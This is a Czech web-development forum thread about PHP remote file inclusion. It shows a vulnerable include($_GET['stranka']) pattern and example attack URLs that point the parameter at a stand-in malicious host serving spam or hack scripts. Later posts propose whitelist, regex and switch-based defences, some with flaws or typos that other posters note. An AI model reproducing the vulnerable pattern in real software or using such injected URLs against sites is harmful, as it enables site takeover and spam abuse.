Autor Zpráva
Goumbik
Profil
Zdravim vas,
to uz maji vsechny hostingy funkci URL file-access zamitnutou,nebo existuje jeste nejaky hosting,kde povoluji vkladani souboru pres URL ?Diky
Shadowwolf
Profil
předpokládám, že to musí být díra do bezpečnosti jako prase ... takže bych řekl, že nikoli
Václav Martinovský
Profil
V konfiguraci PHP lze povolit jak fopen() pro vzdalene soubory, tak include() - nezavisle na sobe. Pokud to klient chce, tak to povolujeme (o include nemluvim, to je dost nebezpecne, ale fopen nijak extra nebezpecne neni - nekteri lide s cURL pracovat neumi).
armin
Hosting armin.sk
Profil
Václav Martinovský: Docela me zaujal Vas nazor ohledne "include()" a jeho nebezpecnosti, lepe receno - dost velike nebezpecnosti. Muzete prosim rozvest, jak moc nebezpecne je include()? Protoze pokud se nepletu, tak 99% projektu vyuziva funkcni include().
koudi
Profil
armin
99% projektů možná používá include, ale řek bych, že tady se spíš jedná o include souborů ze vzdáleného serveru - což v 99% případů je dosti nebezpečné.
Václav Martinovský
Profil
Docela me zaujal Vas nazor ohledne "include()" a jeho nebezpecnosti, lepe receno - dost velike nebezpecnosti. Muzete prosim rozvest, jak moc nebezpecne je include()? Protoze pokud se nepletu, tak 99% projektu vyuziva funkcni include().

Uvedu priklad - je povolene includovani vzdalenych souboru. Pak mate ve skriptu neco jako include($_GET['stranka']) a danou stranku zavolate skript.php?stranka=http://nejaky.zly.web.cz/spam.php (ackoliv bezne ji volate skript.php?stranka=produkt.php).

V danem skriptu je nejaka databaze mailu a fce mail(). Provozovatel se pak nestaci divit, jak se z jeho webu muzou posilat maily, kdyz tam zadnou fci mail nema. Jsou na to roboti, kteri takto testuji zranitelnost webu.

A opravdu, takoveto weby existuji, videl jsem je :)
armin
Hosting armin.sk
Profil
koudi: include vzdalenych souboru... no nevim jak ostatni, ale osobne pouzivam bezproblemove file_get_contents();

Václav Martinovský: Co dela funkce include asi rozebirat nemusime. Co se tyce includovani a popsaneho prikladu, tak abych rekl pravdu, tak az za 20 vterin mi doslo co myslis. Zmatla me totiz koncovka .php u toho spatneho webu. Popsany priklad je zverstvo a vim ze takovych webu jsou miliony (od profiku kteri delaji za referenci, nebo zdarma, ale to tu resit nebudu). Lepsi priklad / prirovnani by bylo, pokud bys napsal http://nejaky.zly.web.cz/spam.txt - protoze kdyz bys includoval php skript z jine adresy, tak php skript bude spracovan tamnim php interpretem, includnes pouze vystup (extremy ze ti to vyechuje php kod nebudeme brat v uvahu). Druha moznost je, ze na tamnim stroji je htaccess a pretypovani .php pripony pres addtype jako "ne-php" skript. Ale tady to... no nad tim se mi az hlava pozastavuje. Ja v zivote toto neresil, protoze "aktualni stranku" nacitam a zpracovavam diametralne zcela jinak. Include pouzivam pouze na vlastni sub skripty, na nic jineho.
Václav Martinovský
Profil
protoze kdyz bys includoval php skript z jine adresy

To mi nedoslo :) Samozrejme soubor ma takovou priponu, aby se to na strane zdrojoveho serveru nijak nezpracovalo a poslal se primo zdrojak, ktery si nesikovne napsany skript includne a vetsinou je to zneuzivano prave pro spam (pokud nejde o cileny hack urciteho webu za ucelem ziskani/zmeny informaci). Co se tyce zneuziti webu pro spam, je vice technik (napr. take toto).

Nicmene, funkcnost file_get_contents() je (stejne jako fopen) zavisla na direktive allow_url_fopen (ktera zakazuje fopen vzdalenych souboru), coz je vetsinou prave zakazane. Pak je jeste allow_url_include, ktera ovlivnuje pouze includovani (lze tedy nechat fopen povoleny, include zakazany).

IMHO nejlepsim resenim pro praci s vzdalenymi soubory je pouziti cURL (pokud je na serveru k dispozici) - uz jen pro to, ze s tim jde delat mnohem vice nez jen nacteni jedne URL (cookies, logovani na stranky, ...).
armin
Hosting armin.sk
Profil
Václav Martinovský: no ten dalsi priklad tam... no comment. Regularni vyrazy, regularni vyrazy a jeste jednou regularni vyrazy. Testovat vstup na true/false je absolutne nedostacujici. Jinak ja osobne na file_get_contents nevidim nic spatneho, s oblibou ho pouzivam, je to rychlejsi nez si nejdriv nadefinovat cURL spojeni (to mimochodem taky podporuji u sebe na strojich) a pak s nim pracovat - treba kdyz si chci stahnout odnekud naky soubor (treba xml a nelibi se mi simplexml_load_file). Samozrejme ze s file_get_contents() nebo include se nelognes na zadny web ani nijak nemuzes ovlivnovat http hlavicku. Srovnavat to nelze. Ale globalne vzato, ani jedna funkce v php neni nebezpecna, pokud se s nimi racionalne zachazi. Cele bych to shrnul tak, ze lidi, kteri nad programovanim nepremysli, tak odmena "za referenci, zdarma" plne odpovida. Protoze za deravy a totalne nezabezpeceny kod je blbost platit co i jen 50 haleru.
Goumbik
Profil
V konfiguraci PHP lze povolit jak fopen() pro vzdalene soubory, tak include() - nezavisle na sobe. Pokud to klient chce, tak to povolujeme (o include nemluvim, to je dost nebezpecne, ale fopen nijak extra nebezpecne neni - nekteri lide s cURL pracovat neumi).
Myslím,že i FOpen má své nebezpečné stránky.Ve spolupráci s funkcí include můžete zalovat vnější soubor na inkludování,řekněme

skript.php?stranka=http://nejaky.zly.web.cz/include.txt a v souboru include text bude script,který otevře index.php,následně do něj zapíše nějaký text a poté soubor zavře.Čímž můžeme docílit úplného přemazání obsahu souboru (atribut "w" tuším) , anebo do něj zapsat jiný text (atribut "a").Například si do indexu útočník zapíše zdrojový kod iframu od systému včela.net,čímž se jakoby živý návštěvností napadeného webu a vydělává po internetu aniž by potřeboval stránku.Dosti nepříjemné,že ?:-)
Axamith
Profil
Vidím, že se tu rozjela zajímavá debata o nebezpečnosti include(). PHP se moc nevěnuji, spíše samotnému HTML + CSS. Z debaty jsem vyrozuměl, že riziko nastává při vkládání ze vzdálených serverů. Zajímalo by mě, jestli existuje nějaké riziko při vkládání souborů z vlastního serveru. include() používám ke vkládání html kódu, jako je např. hlavička, menu . . . viz.
<?include "php/odkazy_txt.html"?>

děkuji za odpověď.
Goumbik
Profil
Také používám tento způsob

<?
include ("soubor.php");
?>

<?
include "soubor.php";
?>




Ale žádné riziko v tom nevidím,neboť script neobsahuje proměné a tím pádem se nemůže includnout nic jiného,než je napáno :-)
armin
Hosting armin.sk
Profil
Axamith + Goumbik: Ukazka pouziti include() je naprosto v poradku. To o cem jsme se my bavili, tak jsou spatne napsane (nedomyslene) weby, ktere pracuji s _GET-em (parametrem z url) na principu:

<html>
<head> .... </head>
<body>
<?php
include ($_GET['stranka']);
?>
</body>
</html>

Ze proste kdyz uzivatel zada:
blablabla.cz/?stranka=uvod.php

tak se mi nacte (a vypise) soubor uvod.php. A jak jiste tusite, staci zavolat tuto adresu: blablabla.cz/?stranka=http://spatnyweb.cz/hack.php
A skript hack.php (prip. hack.txt, ale je to fuk) se vykona na strance blablabla.cz. Je to hodne amaterske reseni, ja tomu nejdriv ani nerozumel o co jde, protoze tak neco priserneho napsat by me ani ve snu nenapadlo. Kdyz uz se tu v tom tak vrtame, tak osobne bych doporucil takovouto ochranu (kdyz uz se musi pracovat s include():

<html>
<head> .... </head>
<body>
<?php
if ($a=@include ('stranky/.'$_GET['stranka'].'.txt')) {
echo $a;
} else {
echo 'Stranka nenalezena';
}
?>
</body>
</html>

je to jednoduchy priklad, ktery resi tyto veci - beru v potaz ze se jedna o blablabla.cz/?stranka=uvod

1) includuji z adresare "stranky", takze kdyz zavolame skript s parametrem stranka a odkazem na naky web, tak to nejspis nenalezne, protoze includujeme soubory jako treba "stranky/uvod.txt" - vypise chybovou hlasku => tu si blokujeme, takze podmince to nevyhovuje (false), vypiseme "Stranka nenalezena"
2) pokud je podminka platna (true), tak klasicky vypiseme obsah promenne $a (do ktere jsme nacetli obsah souboru stranky/uvod.txt)
jirifogl
Hosting flyweb.cz
Profil
armin


if ($a=@include ('stranky/.'$_GET['stranka'].'.txt'))

Tohle taky neni uplne dokonale reseni, sice zabrani inkluzi vzdaleneho kodu, ale utocnik porad muze includovat jakykoli lokalni soubor (samozrejme vyjma tech, ktere prikryje open_basedir, safe_mode nebo treba pristupova prava). To muze vest k prozrazeni citlivych udaju, treba hesla k databazi. No a pokud ma utocnik moznost zmenit soubor, ktery je takto lokalne pristupny (to muze byt pripad treba takovych webu, ktere umoznuji uzivatelum uploadovat sve soubory), muze utocnik zase spustit libovolny kod.

Proto pouzivam na kontrolu radsi regularni vyrazy. Uplne jednoducha kontrola muze vypadat treba takhle:

if (ereg('^[-._a-zA-Z0-9]+\.php$', $_GET['stranka']))
include 'includes/'.$_GET['stranka'];
else
echo 'Nezkousej to na me!';

a pak se utocnik nechyta ani s pokusy predat neco jako '../files/uploads/badboy.whatever'


Jinak Vas Armine, i ostatni stale ucastniky mistnich debat, zdravim, po delsi dobe jsem zase zpatky :-)
xHire
Profil
Objevují se tu celkem zajímavá řešení, tak přispěji i já se svým, které mně osobně přijde nejbezpečnější, i když samozřejmě není nejmenší a jeho implementace zabere o něco málo více času (ale opravdu jenom o málo).

Když očekávám nějaké hodnoty, tak vím přesně jaké. Tak proč je nedat do switche?
switch ($_GET["page"]) {
case "sluzby": include "includes/sluzby.php"; break;
case "kontakt": include "includes/kontakt.php; break;
default: include "includes/hlavnistranka.php"; break;
}


A nebo tedy neopisovat pracně všechny hodnoty, ale ošetření ponechat:
switch ($_GET["page"]) {
case "sluzby":
case "kontakt":
  include "includes/{$_GET["page"]}.php; break;
default: include "includes/hlavnistranka.php"; break;
}


Jednoduché a k žádnému prolomení podle mě dojít nemůže. :c) A nic člověku nebrání ani použití číslic místo klíčových slov.
armin
Hosting armin.sk
Profil
jirifogl: zdravicko :)
Jinak ano, naprosto souhlasim s tim cos psal, akorat ja vychazel z faktu, ze nikdo nebude mit u sebe na domene "nebezpecny skript". Co se tyce toho regularu, tak nemaji se nahodou escapovat _ a . ? Ja osobne pouzivam radeji preg_match nez ereg / eregi

xHire: ano, switch je skvela volba, protoze "muzou nastat" pouze situace ktere nadefinujes + vyhozi (default) situace. Akorat osobne mam zauzivany zvyk, ze fce pisu se zavorkama :)
jirifogl
Hosting flyweb.cz
Profil
armin

To je ta moje paranoia - vzdycky se snazim predpokladat, ze aplikace pobezi i na jinem serveru, nez pro ktery ji zrovna pisu, a zrovna tam budou spatne osetrene uploady nebo neco jineho, co by vedlo k nebezpeci.

To escapovani v regularech - napsal jsem to jen tak od boku - v praxi bych si s tim pohral vic, ale ted se mi nechce :) Ale jinak tecku je potreba escapovat, jen pokud neni v hranatych zavorkach. Mimo hranate zavorky nahrazuje jeden libovolny znak. V hranatych zavorkach, ktere samy o sobe znamenaji "jeden libovolny znak ze seznamu", je ale tecka sama za sebe (snad se nepletu, fakt se mi ted nechce to zkouset :) ).


xHire

Tohle je nejprisnejsi kontrola, pokud je stranek jen tolik, aby se dal jejich seznam takhle udrzovat, je to jednoduche a jasne.


A kdyz uz jsme u toho, tak je tu jeste jedna moznost - pouzit file_exists(). Mela by stacit samotna, pro robustni programy by nemela chybet jako doplneni nektere z tech tri moznosti, ktere jsme tu nadhodili.